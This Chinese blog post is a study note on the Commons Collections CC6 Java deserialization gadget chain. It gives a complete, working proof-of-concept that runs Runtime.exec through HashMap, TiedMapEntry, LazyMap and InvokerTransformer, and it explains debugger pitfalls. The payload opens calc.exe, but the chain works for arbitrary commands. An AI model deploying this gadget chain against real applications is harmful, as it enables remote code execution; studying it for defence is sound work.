Featured image of post CC6 Demo 学习

CC6 Demo 学习

CC6的简易版本学习以及踩坑记录

CC6链

CC6 Demo学习,以及踩坑记录

CC6 Demo

CC6能够解决CC1高版本无法利用的问题,先看看CC6链

  • 调用栈
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
/*
 Gadget chain:
 java.io.ObjectInputStream.readObject()
 java.util.HashMap.readObject()
 java.util.HashMap.hash()
 org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
 org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections.map.LazyMap.get()
 org.apache.commons.collections.functors.ChainedTransformer.transform()
 org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()
*/

第8行到最后的链路我们已经熟悉了。

所以简单来说,解决Java⾼版本利⽤问题,实际上就是在找上下⽂中是否还有其他调⽤LazyMap.get()的地⽅。

如调用栈所示,可利用的类是org.apache.commons.collections.keyvalue.TiedMapEntry

TiedMapEntry.getValue()中调⽤了this.map.get() ,⽽TiedMapEntry.hashCode()⽅法调⽤了TiedMapEntry.getValue()⽅法

Map.hashCode()这个方法在URLDNS中就有过调用学习,那么,直接构造CC6链Demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(697)};
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[] { String.class, Class[].class }, 
                new Object[] { "getRuntime", new Class[0] }
            ),
            new InvokerTransformer("invoke", 
                new Class[] { Object.class, Object[].class }, 
                new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", 
                new Class[] { String.class },
                new String[] { "calc.exe" }),
            new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

如上方代码所示,首先构造LazyMap,但是在构造的时候先传递一个无用的transformerChain,在最后即将进行序列化和反序列化前,通过反射的构造更换为真正的利用链即可。更换代码如下所示:

1
2
3
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

然后再构造TiedMapEntryTiedMapEntry没有无参构造,声明为public TiedMapEntry(Map map, Object key)。所以构造TiedMapEntry如下

1
TiedMapEntry keyinner = new TiedMapEntry(outerMap, "keyinner");

然后再构造HashMap,如下

1
2
Map MMMap = new HashMap();
MMMap.put(keyinner,"TiedMapEntryInKey");

TiedMapEntry对象放在最外层HashMap()的Key值部分,为什么?因为HashMap.readObject()中只有如下语句调用了hash(),而传输对象是Key:

1
2
3
4
5
6
private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
		...
                putVal(hash(key), key, value, false, false);
        ...
    }

HashMap.hash()中,会屌用key.hashCode(),如下

1
2
3
4
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

所以HashMap反序列化对象时,Key应当为TiedMapEntry对象。

目前的完整代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package org.dm.vulhub.Ser;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonC6dm {
    public static void main(String[] args) throws Exception {
        //设置ChainedTransformer
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(697)};
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[] { String.class, Class[].class },
                new Object[] { "getRuntime", new Class[0] }
            ),
            new InvokerTransformer("invoke",
                new Class[] { Object.class, Object[].class },
                new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class },
                new String[] { "calc.exe" }),
            new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);


        TiedMapEntry keyinner = new TiedMapEntry(outerMap, "keyinner");

        Map MMMap = new HashMap();
        MMMap.put(keyinner,"TiedMapEntryInKey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(MMMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object obj2 = ois.readObject();

    }
}

运行POC,发现无法RCE,为什么?

踩坑指南

先不使用Debug模式,直接运行,也无法RCE

无法RCE,此时将断点放在LazyMap.get()中的第一行。发现42行MMMap.put()的时候调用过LazyMap.get()LazyMap.get()源码如下:

1
2
3
4
5
6
7
8
9
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

第一步会判断key值是否存在,如果不存在,会执行IF == true的内容,执行完后,map中就会保存一对儿Key,Value值。

查看调用栈,发现是代码42行进行put触发的。这一步会把Map对象赋值,下次再次运行时,会发现Key值已经存在,于是跳过触发。

解决办法就是将Map对象,在42行之后,清0或者删除42行put的key值。

可以remove()clear(),但是具体操作那个对象呢?

MMMapHashMap对象,里面有个TiedMapEntry对象keyinnerTiedMapEntry对象里包装的是LazyMap对象outerMapLazyMap,即outerMap实际上只有一个内置Map是HashMap对象innerMap

所以,outerMapinnerMap都可以。直接使用outerMap.clear();

完整POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.dm.vulhub.Ser;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonC6dm {
    public static void main(String[] args) throws Exception {
        //设置ChainedTransformer
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(697)};
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[] { String.class, Class[].class },
                new Object[] { "getRuntime", new Class[0] }
            ),
            new InvokerTransformer("invoke",
                new Class[] { Object.class, Object[].class },
                new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class },
                new String[] { "calc.exe" }),
            new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry keyinner = new TiedMapEntry(outerMap, "keyinner");

        Map MMMap = new HashMap();
        MMMap.put(keyinner,"TiedMapEntryInKey");

        outerMap.clear();

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(MMMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object obj2 = ois.readObject();
    }
}

直接运行,成功。

结束了吗,没有。

踩坑中的踩坑

如果你想对CC6的链路运行过程做Debug跟踪,看变量如何修改,程序如何调用,路径如何被劫持。

恭喜你,有很强思考,验证和动手能力,但是你会发现,无法触发RCE。

或者说,不使用断点的情况下,可以RCE,其他大多数情况下,LazyMap.get()总是无法做到IF == true

为什么?抛出结论,IDEA自动调用类的toString(),且不会触发断点。

再且!!!

TiedMapEntry.toString()中和TiedMapEntry.hashCode()一样,都会调用TiedMapEntry.getValue(),这里就是我们的利用链!!!!

所以一旦IDEA尝试解析TiedMapEntry,去调用了TiedMapEntry.toString(),那么我们的利用链就会走一遍,map就会自动填充上一对Key => Value,即使使用了outerMap.clear();,也不一定有效。

证明一

第一步:直接断点LazyMap.get(),发现map.size == 0

image-20240806235317775

第二步:不需要步进步过,返回main函数看一眼,触发IDEA对TiedMapEntry.toString()自动调用

image-20240806235443562

第三步:回到LazyMap.get(),发现在没有步进步入的情况下,map有值了,size为1,不为0了

image-20240806235603972

此时再步入,也无法进入IF == true代码块了。

证明二

断点在主函数43行,发现outerMap.clear()执行之前,outerMap.size == 1,按照逻辑来说,clear()之后size为0,步过运行,发现不变,连内容都没变。

解释:因为main Debug途中,会对所有涉及变量做展示,其中包括keyinner这个TiedMapEntry对象,就会自动调用TiedMapEntry.toString()了。

步过前:

image-20240806235930338

步过后:

image-20240806235954441

解决办法

修改代码

1
2
3
        TiedMapEntry keyinner = new TiedMapEntry(outerMap, "keyinner");
        Map MMMap = new HashMap();
        MMMap.put(keyinner,"TiedMapEntryInKey");

1
2
        Map MMMap = new HashMap();
        MMMap.put(new TiedMapEntry(outerMap, "keyinner"),"TiedMapEntryInKey");

取消局部变量keyinner,就不会展示,也就不会触发,main函数纯步过可以Debug模式下RCE

那如果要看TiedMapEntry里的运行流程呢?

有如下方法理论上可以:

  1. 关闭IDEA的自动toString()
  2. 针对这个org.apache.commons.collections.keyvalue.TiedMapEntry类进行设置,不做toString()处理

但实际上不行,笔者粗略的尝试了一次

以上

Licensed under CC BY-NC-SA 4.0
Dan❤Anan
Built with Hugo
主题 StackJimmy 设计